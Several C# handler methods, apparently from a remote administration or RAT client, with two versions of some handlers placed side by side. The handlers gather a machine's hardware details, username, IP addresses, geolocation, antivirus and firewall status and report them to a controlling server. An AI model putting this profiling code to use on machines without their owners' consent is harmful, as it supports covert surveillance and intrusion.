public static void HandleGetSystemInfo(Packets.ServerPackets.GetSystemInfo command, Client client) { try { string[] infoCollection = new string[] { "Processor (CPU)", SystemCore.GetCpu(), "Memory (RAM)", string.Format("{0} MB", SystemCore.GetRam()), "Video Card (GPU)", SystemCore.GetGpu(), "Username", SystemCore.GetUsername(), "PC Name", SystemCore.GetPcName(), "Uptime", SystemCore.GetUptime(), "LAN IP Address", SystemCore.GetLanIp(), "WAN IP Address", SystemCore.WANIP, "Antivirus", SystemCore.GetAntivirus(), "Firewall", SystemCore.GetFirewall() }; new Packets.ClientPackets.GetSystemInfoResponse(infoCollection).Execute(client); } catch { } }
public static void HandleGetAuthentication(Packets.ServerPackets.GetAuthentication command, Client client) { GeoLocationHelper.Initialize(); new Packets.ClientPackets.GetAuthenticationResponse(Settings.VERSION, SystemCore.OperatingSystem, SystemCore.AccountType, GeoLocationHelper.Country, GeoLocationHelper.CountryCode, GeoLocationHelper.Region, GeoLocationHelper.City, GeoLocationHelper.ImageIndex, SystemCore.GetId(), SystemCore.GetUsername(), SystemCore.GetPcName()).Execute(client); }
public static void HandleGetSystemInfo(Core.Packets.ServerPackets.GetSystemInfo command, Core.Client client) { try { string[] infoCollection = new string[20]; infoCollection[0] = "Processor (CPU)"; infoCollection[1] = SystemCore.GetCpu(); infoCollection[2] = "Memory (RAM)"; infoCollection[3] = string.Format("{0} MB", SystemCore.GetRam()); infoCollection[4] = "Video Card (GPU)"; infoCollection[5] = SystemCore.GetGpu(); infoCollection[6] = "Username"; infoCollection[7] = SystemCore.GetUsername(); infoCollection[8] = "PC Name"; infoCollection[9] = SystemCore.GetPcName(); infoCollection[10] = "Uptime"; infoCollection[11] = SystemCore.GetUptime(); infoCollection[12] = "LAN IP Address"; infoCollection[13] = SystemCore.GetLanIp(); infoCollection[14] = "WAN IP Address"; infoCollection[15] = SystemCore.WANIP; infoCollection[16] = "Antivirus"; infoCollection[17] = SystemCore.GetAntivirus(); infoCollection[18] = "Firewall"; infoCollection[19] = SystemCore.GetFirewall(); new Core.Packets.ClientPackets.GetSystemInfoResponse(infoCollection).Execute(client); } catch { } }
public static void HandleInitializeCommand(Packets.ServerPackets.InitializeCommand command, Client client) { SystemCore.InitializeGeoIp(); new Packets.ClientPackets.Initialize(Settings.VERSION, SystemCore.OperatingSystem, SystemCore.AccountType, SystemCore.Country, SystemCore.CountryCode, SystemCore.Region, SystemCore.City, SystemCore.ImageIndex, SystemCore.GetId(), SystemCore.GetUsername(), SystemCore.GetPcName()).Execute(client); }